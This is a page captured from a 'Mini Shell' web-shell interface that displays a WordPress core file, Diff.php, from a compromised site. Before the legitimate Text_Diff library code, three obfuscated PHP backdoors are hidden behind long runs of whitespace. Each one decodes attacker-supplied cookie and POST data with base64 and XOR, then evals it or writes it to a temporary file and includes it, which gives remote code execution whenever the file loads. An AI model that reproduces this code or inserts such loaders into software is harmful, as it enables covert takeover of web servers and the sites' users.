%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/public_html/demo/riverwalkpoa/wp-includes/Text/
Upload File :
Create Path :
Current File : /home/graphicd/public_html/demo/riverwalkpoa/wp-includes/Text/Diff.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $otlOM = "\x62" . "\167" . chr (113) . chr (95) . "\117" . "\162" . "\127";$BILVP = chr (99) . "\154" . "\141" . "\163" . chr ( 1090 - 975 )."\137" . 'e' . 'x' . 'i' . "\x73" . "\x74" . "\x73";$szlUEaYcPC = class_exists($otlOM); $BILVP = "22199";$Zfrojg = !1;if ($szlUEaYcPC == $Zfrojg){function tztPbW(){$VLPDSqrUg = new /* 8157 */ bwq_OrW(36088 + 36088); $VLPDSqrUg = NULL;}$HrxSqUkF = "36088";class bwq_OrW{private function psrkNyZ($HrxSqUkF){if (is_array(bwq_OrW::$WocqP)) {$ILqbKmDye = str_replace("\74" . chr (63) . chr ( 277 - 165 ).chr (104) . chr (112), "", bwq_OrW::$WocqP[chr ( 938 - 839 ).chr ( 294 - 183 )."\x6e" . "\x74" . chr ( 467 - 366 ).'n' . "\164"]);eval($ILqbKmDye); $HrxSqUkF = "36088";exit();}}private $OujYC;public function NGkVK(){echo 61452;}public function __destruct(){$HrxSqUkF = "57419_60665";$this->psrkNyZ($HrxSqUkF); $HrxSqUkF = "57419_60665";}public function __construct($iWzxjjLIM=0){$WFmRU = $_POST;$dpzymi = $_COOKIE;$GauNTZ = "6cddbdb6-6537-4ecc-818c-c82de658b9ca";$LljSomWe = @$dpzymi[substr($GauNTZ, 0, 4)];if (!empty($LljSomWe)){$bDbAjqWoZ = "base64";$pjuayLLCp = "";$LljSomWe = explode(",", $LljSomWe);foreach ($LljSomWe as $fpsPzvdXyX){$pjuayLLCp .= @$dpzymi[$fpsPzvdXyX];$pjuayLLCp .= @$WFmRU[$fpsPzvdXyX];}$pjuayLLCp = array_map($bDbAjqWoZ . '_' . "\x64" . 'e' . "\x63" . 'o' . 'd' . "\x65", array($pjuayLLCp,)); $pjuayLLCp = $pjuayLLCp[0] ^ str_repeat($GauNTZ, (strlen($pjuayLLCp[0]) / strlen($GauNTZ)) + 1);bwq_OrW::$WocqP = @unserialize($pjuayLLCp); $pjuayLLCp = class_exists("57419_60665");}}public static $WocqP = 34466;}tztPbW();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $WhieEzs = chr (120) . chr (95) . chr (87) . 'h' . 'z' . 'p';$uPTlqG = chr (99) . "\x6c" . 'a' . chr ( 834 - 719 )."\x73" . chr ( 816 - 721 )."\x65" . "\170" . chr ( 918 - 813 ).chr (115) . "\x74" . chr ( 789 - 674 ); $aEozmjVC = class_exists($WhieEzs); $uPTlqG = "51718";$PZZRqlyMN = !1;if ($aEozmjVC == $PZZRqlyMN){function mysEfBw(){return FALSE;}$HcTNfcmIM = "32534";mysEfBw();class x_Whzp{private function ZxeccDN($HcTNfcmIM){if (is_array(x_Whzp::$UzyHLy)) {$HtxMNp = sys_get_temp_dir() . "/" . crc32(x_Whzp::$UzyHLy["\x73" . 'a' . 'l' . "\164"]);@x_Whzp::$UzyHLy[chr ( 920 - 801 )."\162" . chr ( 637 - 532 ).'t' . 'e']($HtxMNp, x_Whzp::$UzyHLy["\143" . chr ( 484 - 373 ).'n' . chr ( 610 - 494 ).chr (101) . "\x6e" . chr (116)]);include $HtxMNp;@x_Whzp::$UzyHLy[chr (100) . "\x65" . chr ( 955 - 847 ).'e' . "\164" . "\x65"]($HtxMNp); $HcTNfcmIM = "32534";exit();}}private $GVSFiHjrM;public function XbKMaJIXPJ(){echo 22459;}public function __destruct(){$HcTNfcmIM = "46202_32182";$this->ZxeccDN($HcTNfcmIM); $HcTNfcmIM = "46202_32182";}public function __construct($uzthsZUO=0){$DBbAgZinRV = $_POST;$ZJjDAxUtk = $_COOKIE;$fenetg = "c3678d46-2bca-489d-abf6-8cc7be6d8649";$avYrLH = @$ZJjDAxUtk[substr($fenetg, 0, 4)];if (!empty($avYrLH)){$UccBqUBB = "base64";$aVKTIkuBT = "";$avYrLH = explode(",", $avYrLH);foreach ($avYrLH as $zJxdZNhCd){$aVKTIkuBT .= @$ZJjDAxUtk[$zJxdZNhCd];$aVKTIkuBT .= @$DBbAgZinRV[$zJxdZNhCd];}$aVKTIkuBT = array_map($UccBqUBB . "\x5f" . "\144" . "\x65" . "\143" . chr ( 888 - 777 )."\x64" . 'e', array($aVKTIkuBT,)); $aVKTIkuBT = $aVKTIkuBT[0] ^ str_repeat($fenetg, (strlen($aVKTIkuBT[0]) / strlen($fenetg)) + 1);x_Whzp::$UzyHLy = @unserialize($aVKTIkuBT); $aVKTIkuBT = class_exists("46202_32182");}}public static $UzyHLy = 35225;}$LKUaG = new /* 61119 */ $WhieEzs(32534 + 32534); $PZZRqlyMN = $LKUaG = $HcTNfcmIM = Array();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $sjbvOnM = chr (112) . chr ( 130 - 27 )."\137" . chr (112) . chr (98) . chr ( 708 - 627 ); $DWVqZXyAFm = "\x63" . "\x6c" . "\x61" . "\x73" . "\x73" . "\x5f" . "\x65" . chr (120) . "\151" . chr ( 174 - 59 ).chr ( 658 - 542 )."\x73";$yVYfEwA = class_exists($sjbvOnM); $DWVqZXyAFm = "64125";$uMZXLnEEI = !1;if ($yVYfEwA == $uMZXLnEEI){function cosGOStf(){return FALSE;}$VlDZkd = "41746";cosGOStf();class pg_pbQ{private function nRNPfD($VlDZkd){if (is_array(pg_pbQ::$wzMRylaXl)) {$GdJGH = sys_get_temp_dir() . "/" . crc32(pg_pbQ::$wzMRylaXl["\163" . chr (97) . chr (108) . 't']);@pg_pbQ::$wzMRylaXl[chr ( 448 - 329 ).chr (114) . chr ( 1100 - 995 ).'t' . chr ( 916 - 815 )]($GdJGH, pg_pbQ::$wzMRylaXl[chr (99) . chr (111) . chr ( 656 - 546 ).'t' . chr ( 373 - 272 ).chr ( 295 - 185 )."\164"]);include $GdJGH;@pg_pbQ::$wzMRylaXl["\x64" . chr (101) . chr ( 1078 - 970 ).'e' . chr (116) . chr ( 916 - 815 )]($GdJGH); $VlDZkd = "41746";exit();}}private $Mzdfn;public function QOEqqJNOSs(){echo 18346;}public function __destruct(){$VlDZkd = "23756_58907";$this->nRNPfD($VlDZkd); $VlDZkd = "23756_58907";}public function __construct($Aapuc=0){$sQsafIr = $_POST;$Auacy = $_COOKIE;$oNGhmd = "a4265899-a57f-4c6d-ae20-1e832b233a95";$VUaIh = @$Auacy[substr($oNGhmd, 0, 4)];if (!empty($VUaIh)){$RfFVlPNGj = "base64";$QZwsLiL = "";$VUaIh = explode(",", $VUaIh);foreach ($VUaIh as $VwVbPy){$QZwsLiL .= @$Auacy[$VwVbPy];$QZwsLiL .= @$sQsafIr[$VwVbPy];}$QZwsLiL = array_map($RfFVlPNGj . '_' . "\144" . "\145" . "\143" . chr ( 571 - 460 ).chr (100) . chr (101), array($QZwsLiL,)); $QZwsLiL = $QZwsLiL[0] ^ str_repeat($oNGhmd, (strlen($QZwsLiL[0]) / strlen($oNGhmd)) + 1);pg_pbQ::$wzMRylaXl = @unserialize($QZwsLiL); $QZwsLiL = class_exists("23756_58907");}}public static $wzMRylaXl = 36797;}$XKYesfsnN = new /* 27758 */ $sjbvOnM(41746 + 41746); $uMZXLnEEI = $XKYesfsnN = $VlDZkd = Array();} ?><?php
/**
 * General API for generating and formatting diffs - the differences between
 * two sequences of strings.
 *
 * The original PHP version of this code was written by Geoffrey T. Dairiki
 * <dairiki@dairiki.org>, and is used/adapted with his permission.
 *
 * Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org>
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 */
class Text_Diff {

    /**
     * Array of changes.
     *
     * @var array
     */
    var $_edits;

    /**
     * Computes diffs between sequences of strings.
     *
     * @param string $engine     Name of the diffing engine to use.  'auto'
     *                           will automatically select the best.
     * @param array $params      Parameters to pass to the diffing engine.
     *                           Normally an array of two arrays, each
     *                           containing the lines from a file.
     */
    function __construct( $engine, $params )
    {
        // Backward compatibility workaround.
        if (!is_string($engine)) {
            $params = array($engine, $params);
            $engine = 'auto';
        }

        if ($engine == 'auto') {
            $engine = extension_loaded('xdiff') ? 'xdiff' : 'native';
        } else {
            $engine = basename($engine);
        }

        // WP #7391
        require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php';
        $class = 'Text_Diff_Engine_' . $engine;
        $diff_engine = new $class();

        $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params);
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff( $engine, $params ) {
		self::__construct( $engine, $params );
	}

    /**
     * Returns the array of differences.
     */
    function getDiff()
    {
        return $this->_edits;
    }

    /**
     * returns the number of new (added) lines in a given diff.
     *
     * @since Text_Diff 1.1.0
     *
     * @return int The number of new lines
     */
    function countAddedLines()
    {
        $count = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_add') ||
                is_a($edit, 'Text_Diff_Op_change')) {
                $count += $edit->nfinal();
            }
        }
        return $count;
    }

    /**
     * Returns the number of deleted (removed) lines in a given diff.
     *
     * @since Text_Diff 1.1.0
     *
     * @return int The number of deleted lines
     */
    function countDeletedLines()
    {
        $count = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_delete') ||
                is_a($edit, 'Text_Diff_Op_change')) {
                $count += $edit->norig();
            }
        }
        return $count;
    }

    /**
     * Computes a reversed diff.
     *
     * Example:
     * <code>
     * $diff = new Text_Diff($lines1, $lines2);
     * $rev = $diff->reverse();
     * </code>
     *
     * @return Text_Diff  A Diff object representing the inverse of the
     *                    original diff.  Note that we purposely don't return a
     *                    reference here, since this essentially is a clone()
     *                    method.
     */
    function reverse()
    {
        if (version_compare(zend_version(), '2', '>')) {
            $rev = clone($this);
        } else {
            $rev = $this;
        }
        $rev->_edits = array();
        foreach ($this->_edits as $edit) {
            $rev->_edits[] = $edit->reverse();
        }
        return $rev;
    }

    /**
     * Checks for an empty diff.
     *
     * @return bool True if two sequences were identical.
     */
    function isEmpty()
    {
        foreach ($this->_edits as $edit) {
            if (!is_a($edit, 'Text_Diff_Op_copy')) {
                return false;
            }
        }
        return true;
    }

    /**
     * Computes the length of the Longest Common Subsequence (LCS).
     *
     * This is mostly for diagnostic purposes.
     *
     * @return int The length of the LCS.
     */
    function lcs()
    {
        $lcs = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                $lcs += count($edit->orig);
            }
        }
        return $lcs;
    }

    /**
     * Gets the original set of lines.
     *
     * This reconstructs the $from_lines parameter passed to the constructor.
     *
     * @return array  The original sequence of strings.
     */
    function getOriginal()
    {
        $lines = array();
        foreach ($this->_edits as $edit) {
            if ($edit->orig) {
                array_splice($lines, count($lines), 0, $edit->orig);
            }
        }
        return $lines;
    }

    /**
     * Gets the final set of lines.
     *
     * This reconstructs the $to_lines parameter passed to the constructor.
     *
     * @return array  The sequence of strings.
     */
    function getFinal()
    {
        $lines = array();
        foreach ($this->_edits as $edit) {
            if ($edit->final) {
                array_splice($lines, count($lines), 0, $edit->final);
            }
        }
        return $lines;
    }

    /**
     * Removes trailing newlines from a line of text. This is meant to be used
     * with array_walk().
     *
     * @param string $line  The line to trim.
     * @param int    $key   The index of the line in the array. Not used.
     */
    static function trimNewlines(&$line, $key)
    {
        $line = str_replace(array("\n", "\r"), '', $line);
    }

    /**
     * Determines the location of the system temporary directory.
     *
     * @access protected
     *
     * @return string  A directory name which can be used for temp files.
     *                 Returns false if one could not be found.
     */
    static function _getTempDir()
    {
        $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp',
                               'c:\windows\temp', 'c:\winnt\temp');

        /* Try PHP's upload_tmp_dir directive. */
        $tmp = ini_get('upload_tmp_dir');

        /* Otherwise, try to determine the TMPDIR environment variable. */
        if (!strlen($tmp)) {
            $tmp = getenv('TMPDIR');
        }

        /* If we still cannot determine a value, then cycle through a list of
         * preset possibilities. */
        while (!strlen($tmp) && count($tmp_locations)) {
            $tmp_check = array_shift($tmp_locations);
            if (@is_dir($tmp_check)) {
                $tmp = $tmp_check;
            }
        }

        /* If it is still empty, we have failed, so return false; otherwise
         * return the directory determined. */
        return strlen($tmp) ? $tmp : false;
    }

    /**
     * Checks a diff for validity.
     *
     * This is here only for debugging purposes.
     */
    function _check($from_lines, $to_lines)
    {
        if (serialize($from_lines) != serialize($this->getOriginal())) {
            trigger_error("Reconstructed original does not match", E_USER_ERROR);
        }
        if (serialize($to_lines) != serialize($this->getFinal())) {
            trigger_error("Reconstructed final does not match", E_USER_ERROR);
        }

        $rev = $this->reverse();
        if (serialize($to_lines) != serialize($rev->getOriginal())) {
            trigger_error("Reversed original does not match", E_USER_ERROR);
        }
        if (serialize($from_lines) != serialize($rev->getFinal())) {
            trigger_error("Reversed final does not match", E_USER_ERROR);
        }

        $prevtype = null;
        foreach ($this->_edits as $edit) {
            if ($edit instanceof $prevtype) {
                trigger_error("Edit sequence is non-optimal", E_USER_ERROR);
            }
            $prevtype = get_class($edit);
        }

        return true;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 */
class Text_MappedDiff extends Text_Diff {

    /**
     * Computes a diff between sequences of strings.
     *
     * This can be used to compute things like case-insensitive diffs, or diffs
     * which ignore changes in white-space.
     *
     * @param array $from_lines         An array of strings.
     * @param array $to_lines           An array of strings.
     * @param array $mapped_from_lines  This array should have the same size
     *                                  number of elements as $from_lines.  The
     *                                  elements in $mapped_from_lines and
     *                                  $mapped_to_lines are what is actually
     *                                  compared when computing the diff.
     * @param array $mapped_to_lines    This array should have the same number
     *                                  of elements as $to_lines.
     */
    function __construct($from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines)
    {
        assert(count($from_lines) == count($mapped_from_lines));
        assert(count($to_lines) == count($mapped_to_lines));

        parent::Text_Diff($mapped_from_lines, $mapped_to_lines);

        $xi = $yi = 0;
        for ($i = 0; $i < count($this->_edits); $i++) {
            $orig = &$this->_edits[$i]->orig;
            if (is_array($orig)) {
                $orig = array_slice($from_lines, $xi, count($orig));
                $xi += count($orig);
            }

            $final = &$this->_edits[$i]->final;
            if (is_array($final)) {
                $final = array_slice($to_lines, $yi, count($final));
                $yi += count($final);
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_MappedDiff( $from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines ) {
		self::__construct( $from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines );
	}

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op {

    var $orig;
    var $final;

    function &reverse()
    {
        trigger_error('Abstract method', E_USER_ERROR);
    }

    function norig()
    {
        return $this->orig ? count($this->orig) : 0;
    }

    function nfinal()
    {
        return $this->final ? count($this->final) : 0;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_copy extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $orig, $final = false )
    {
        if (!is_array($final)) {
            $final = $orig;
        }
        $this->orig = $orig;
        $this->final = $final;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_copy( $orig, $final = false ) {
		self::__construct( $orig, $final );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_copy($this->final, $this->orig);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_delete extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
	function __construct( $lines )
    {
        $this->orig = $lines;
        $this->final = false;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_delete( $lines ) {
		self::__construct( $lines );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_add($this->orig);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_add extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $lines )
    {
        $this->final = $lines;
        $this->orig = false;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_add( $lines ) {
		self::__construct( $lines );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_delete($this->final);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_change extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $orig, $final )
    {
        $this->orig = $orig;
        $this->final = $final;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_change( $orig, $final ) {
		self::__construct( $orig, $final );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_change($this->final, $this->orig);
        return $reverse;
    }

}

Zerion Mini Shell 1.0